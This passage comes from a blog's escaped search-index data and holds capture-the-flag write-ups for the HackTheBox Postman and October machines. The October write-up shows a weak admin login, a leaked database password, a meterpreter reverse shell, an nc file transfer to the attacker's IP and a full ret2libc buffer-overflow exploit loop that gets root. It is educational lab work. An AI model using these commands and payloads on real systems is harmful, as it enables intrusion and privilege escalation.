class=\"mi\"\u003e74\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ecb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb5\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e68\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e77\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e27\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed2\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003edf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e31\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e53\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e05\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003efb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eff\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e62\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e26\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e89\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eECDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eca\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e82\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eaa\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed3\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e72\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eca\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e38\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e41\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e45\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eED25519\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCyber\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGeek\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s Personal Website\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e6379/tcp  open  redis   Redis key-value store 4.0.9\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e10000/tcp open  http    MiniServ 1.910 (Webmin httpd)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e|_http-server-header: MiniServ/1.910\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e|_http-title: Site doesn\u0026#39;\u003c/span\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehave\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003etext\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCharset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eiso\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e8859\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux_kernel\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe latency from Asia to HTB\u0026rsquo;s European servers is really high. A full-port scan without \u003ccode\u003e--min-rate\u003c/code\u003e takes more than half an hour, but specifying it causes packet loss, so the full port range keeps getting missed. Frustrating.\u003c/p\u003e","title":"HackTheBox: Postman Notes"},{"content":"Information Gathering Nmap root@localhost:~/HTB/october# nmap -p22,80 -sV -sC 10.10.10.16 --min-rate 1000 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 14:48 UTC Nmap scan report for 10.10.10.16 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA) | 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA) | 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA) |_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Potentially risky methods: PUT PATCH DELETE |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: October CMS - Vanilla Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + Server: Apache/2.4.7 (Ubuntu) + Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21 Port 80: Weak Password A CMS called october. Searching with searchsploit turns up a few vulnerabilities, but exploiting them effectively requires confirming the version number. I went to GitHub to see where the version number lives in the source code — it\u0026rsquo;s in the composer.json file under the web root — but testing showed it\u0026rsquo;s not directly accessible from the outside, and neither changelog nor readme contained version info, so I gave up on that. Later, after getting www-data access, I saw it was version 1.0.412\nroot@localhost:~/HTB/october# searchsploit october --------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) --------------------------------------- ---------------------------------------- October CMS - Upload Protection Bypass | exploits/php/remote/47376.rb October CMS 1.0.412 - Multiple Vulnera | exploits/php/webapps/41936.txt October CMS \u0026lt; 1.0.431 - Cross-Site Scr | exploits/php/webapps/44144.txt October CMS User Plugin 1.4.5 - Persis | exploits/php/webapps/44546.txt OctoberCMS 1.0.425 (Build 425) - Cross | exploits/php/webapps/42978.txt OctoberCMS 1.0.426 (Build 426) - Cross | exploits/php/webapps/43106.txt --------------------------------------- ---------------------------------------- Shellcodes: No Result The cookie felt like it might hide something, but after decoding it turned out not to be a JWT, so I dropped it.\nScan the directories:\nirbuster -u http://10.10.10.16 -t 20 -l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -v The image above is incomplete (the scan was really slow), but in short I found the backend path /backend/backend/auth/signin, which echoes back whether an account exists, giving me the account admin. Running a dictionary attack with Burp got me straight-up banned\u0026hellip;\u0026hellip;\nI registered a user but found no privilege escalation or upload points.\nIn the end I looked at someone else\u0026rsquo;s walkthrough — the weak password admin gets you right into the backend. Made me sick\u0026hellip;.. (This is already the second time this admin has kept me locked out. Clearly I lack experience!!)\nFrom there to user there\u0026rsquo;s little worth mentioning, so I\u0026rsquo;ll keep it brief.\nPrivilege Escalation Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux Ubuntu 14.04.5 LTS There are generally a few approaches to privilege escalation: misconfigurations (including sudo misconfiguration, SUID abuse, high-privilege cron jobs, etc.), password reuse, and exploit-based escalation.\nCommon Passwords Read the config file, tried to log in as harry — failed:\n/var/www/html/cms/config/database.php \u0026#39;mysql\u0026#39; =\u0026gt; [ \u0026#39;driver\u0026#39; =\u0026gt; \u0026#39;mysql\u0026#39;, \u0026#39;host\u0026#39; =\u0026gt; \u0026#39;localhost\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; \u0026#39;\u0026#39;, \u0026#39;database\u0026#39; =\u0026gt; \u0026#39;october\u0026#39;, \u0026#39;username\u0026#39; =\u0026gt; \u0026#39;october\u0026#39;, \u0026#39;password\u0026#39; =\u0026gt; \u0026#39;OctoberCMSPassword!!\u0026#39;, \u0026#39;charset\u0026#39; =\u0026gt; \u0026#39;utf8\u0026#39;, \u0026#39;collation\u0026#39; =\u0026gt; \u0026#39;utf8_unicode_ci\u0026#39;, \u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;\u0026#39;, ], Read the database account credentials:\nLet msf Do It All msf5 exploit(multi/handler) \u0026gt; use post/multi/recon/local_exploit_suggester msf5 post(multi/recon/local_exploit_suggester) \u0026gt; sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x86/linux no-user @ october (uid=33, gid=33, euid=33, egid=33) @ 10.10.10.16 10.10.16.122:4443 -\u0026gt; 10.10.10.16:59910 (10.10.10.16) msf5 post(multi/recon/local_exploit_suggester) \u0026gt; set session 2 session =\u0026gt; 2 msf5 post(multi/recon/local_exploit_suggester) \u0026gt; run [*] 10.10.10.16 - Collecting local exploits for x86/linux... [*] 10.10.10.16 - 34 exploit checks are being tried... [+] 10.10.10.16 - exploit/linux/local/apport_abrt_chroot_priv_esc: The target appears to be vulnerable. [+] 10.10.10.16 - exploit/linux/local/pkexec: The service is running, but could not be validated. Tried both under a linux/x86/meterpreter/reverse_tcp session — both failed.\nExploit-Based Privilege Escalation Found with the linpeas.sh script:\n[+] Unmounted file-system? [i] Check if you can mount umounted devices /dev/mapper/october--vg-root / ext4 errors=remount-ro 0 1 UUID=9d82af70-c08b-4ec2-af22-6754638dc49f /boot ext2 defaults 0 2 /dev/mapper/october--vg-swap_1 none swap sw 0 0 /dev/fd0 /media/floppy0 auto rw,user,noauto,exec,utf8 0 0 Nothing. Nothing at all..\nSUID Files (www-data:/var/www/html/cms/storage/app/media) $ find / -perm -u=s 2\u0026gt;/dev/null /bin/umount /bin/ping /bin/fusermount /bin/su /bin/ping6 /bin/mount /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/sudo /usr/bin/newgrp /usr/bin/pkexec /usr/bin/passwd /usr/bin/chfn /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/mtr /usr/bin/chsh /usr/bin/at /usr/sbin/pppd /usr/sbin/uuidd /usr/local/bin/ovrflw None of the commonly exploitable ones are there. Set it aside for now. Actually, overflow should be a word hackers pay attention to — let\u0026rsquo;s pull it back to our machine and take a look:\n# On the target machine nc 10.10.16.122 666 \u0026lt; ovrflw # On our machine nc -lvp 666 \u0026gt; overflow What follows uses some pwn techniques — root was obtained via buffer overflow. Impressive! Let\u0026rsquo;s keep studying it:\nroot@localhost:~/HTB/october# checksec --file=overflow RELRO STACK CANARY NX PIE RPATH RUNPATH\tSymbols\tFORTIFY\tFortified\tFortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No\t0\t2overflow BufferOverFlow PoC Feed the buffer a fairly long string (a few dozen to a few hundred bytes is enough; Burp can be used to fuzz). If a segfault occurs, consider it an overflow:\n./overflow `python -c \u0026#39;print \u0026#34;Z\u0026#34;*200\u0026#39;` When writing exploit code, you need to pay special attention to whether the target process has DEP (NX on Linux), ASLR (PIE on Linux), and similar mechanisms enabled,\nFor example, if DEP (NX) is present, you cannot directly execute data on the stack,\nAnd if ASLR is present, the addresses of the various system calls are randomized.\nstrings to View the Rough Contents # strings overflow /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used strcpy ... ldd to Check the Libraries The ldd command is used to print the list of shared libraries that a program or library file depends on.\n# ldd -v overflow linux-gate.so.1 (0xf7fd2000) libc.so.6 =\u0026gt; /lib32/libc.so.6 (0xf7dcb000) /lib/ld-linux.so.2 (0xf7fd4000) Version information: ./overflow: libc.so.6 (GLIBC_2.0) =\u0026gt; /lib32/libc.so.6 /lib32/libc.so.6: ld-linux.so.2 (GLIBC_2.3) =\u0026gt; /lib/ld-linux.so.2 ld-linux.so.2 (GLIBC_PRIVATE) =\u0026gt; /lib/ld-linux.so.2 ld-linux.so.2 (GLIBC_2.1) =\u0026gt; /lib/ld-linux.so.2 Disable ASLR Before Debugging echo 0 \u0026gt; /proc/sys/kernel/randomize_va_space // The original value is 2 checksec to View the Binary\u0026rsquo;s Protections # gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial NX NX means No-eXecute. The basic principle of NX (DEP) is to mark the memory pages holding data as non-executable\nBuild an Extra-Long String # /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag gdb Debugging to Determine the Offset # gdb ./overflow gdb-peda$ b main gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag gdb-peda$ c # /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q d7Ad [*] Exact match at offset 112 # /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 64413764 [*] Exact match at offset 112 In other words, we overwrite EIP starting after 112 bytes.\nret to libc The ret2libc technique is a buffer overflow exploitation technique, mainly used to overcome the no-stack-executable limitation faced by conventional buffer overflow exploitation (which is why the later experiments still require disabling the system\u0026rsquo;s ASLR as well as stack protection), for example the PaX and ExecShield security policies. The technique works by overwriting the function return address saved in the stack frame (eip) so that it points to some library function in libc (such as system), instead of pointing directly to shellcode\n————————————————\nCopyright notice: this is an original article by the CSDN blogger \u0026ldquo;大1234草\u0026rdquo;, released under the CC 4.0 BY-SA license. Please attach the original source link and this notice when reprinting.\nOriginal link: https://blog.csdn.net/sinat_38816924/java/article/details/106222286\nGenerally, the system function is loaded into the program together with all the other C library functions via libc (on Linux). (Hence the name ret to libc.) Every C program can call the system function. And system\u0026rsquo;s position within libc is fixed — objdump or IDA can find it directly. The key problem is that we don\u0026rsquo;t know what libc\u0026rsquo;s base address is once loaded into the program. The base address of libc changes on every run of the program. The problem to solve is leaking the base address. Once we have the base address, we can compute system\u0026rsquo;s real address using \u0026ldquo;base address + system\u0026rsquo;s offset in libc\u0026rdquo;.\n————————————————\nCopyright notice: this is an original article by the CSDN blogger \u0026ldquo;zh_explorer\u0026rdquo;, released under the CC 4.0 BY-SA license. Please attach the original source link and this notice when reprinting.\nOriginal link: https://blog.csdn.net/zh_explorer/java/article/details/80306965\nDetermine the offsets + brute force:\np system $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0xf7e0f620 \u0026lt;system\u0026gt; p exit $2 = {\u0026lt;text variable, no debug info\u0026gt;} 0xf7e02390 \u0026lt;exit\u0026gt; exit: 0xb75f8000+0x33260 = 0xB762B260 system: 0xb75f8000+0x40310 = 0xB7638310 /bin/sh: = 0xb75f8000+0x162bac = 0xB775ABAC while true; do /usr/local/bin/ovrflw $(python -c \u0026#39;print \u0026#34;\\x90\u0026#34;*112 + \u0026#34;\\x10\\x83\\x63\\xb7\u0026#34; + \u0026#34;\\x60\\xb2\\x62\\xb7\u0026#34; + \u0026#34;\\xac\\xab\\x75\\xb7\u0026#34;\u0026#39;); done reference https://wooyun.js.org/drops/return2libc%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.html return2libc study notes - 路人甲 Common protection mechanisms of Linux programs - 都是一家人 - 博客园 pwn techniques: ret to libc_shell_这里没人-CSDN blog https://teckk2.github.io/writeup/2018/02/23/October.html https://github.com/Kyuu-Ji/htb-write-up/blob/fc6164f37d12498c73d37d6e267d501b26e37334/october/write-up-october.md https://0xdf.gitlab.io/2019/03/26/htb-october.html https://teckk2.github.io/writeup/2018/02/23/October.html ","permalink":"https://www.unc.la/en/posts/penetration/qmariy/","summary":"\u003ch2 id=\"information-gathering\"\u003eInformation Gathering\u003c/h2\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eroot\u003c/span\u003e\u003cspan class=\"o\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003elocalhost\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e~/\u003c/span\u003e\u003cspan class=\"n\"\u003eHTB\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eoctober\u003c/span\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep22\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e--min-rate 1000\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eStarting\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttps\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2020\u003c/span\u003e\u003cspan 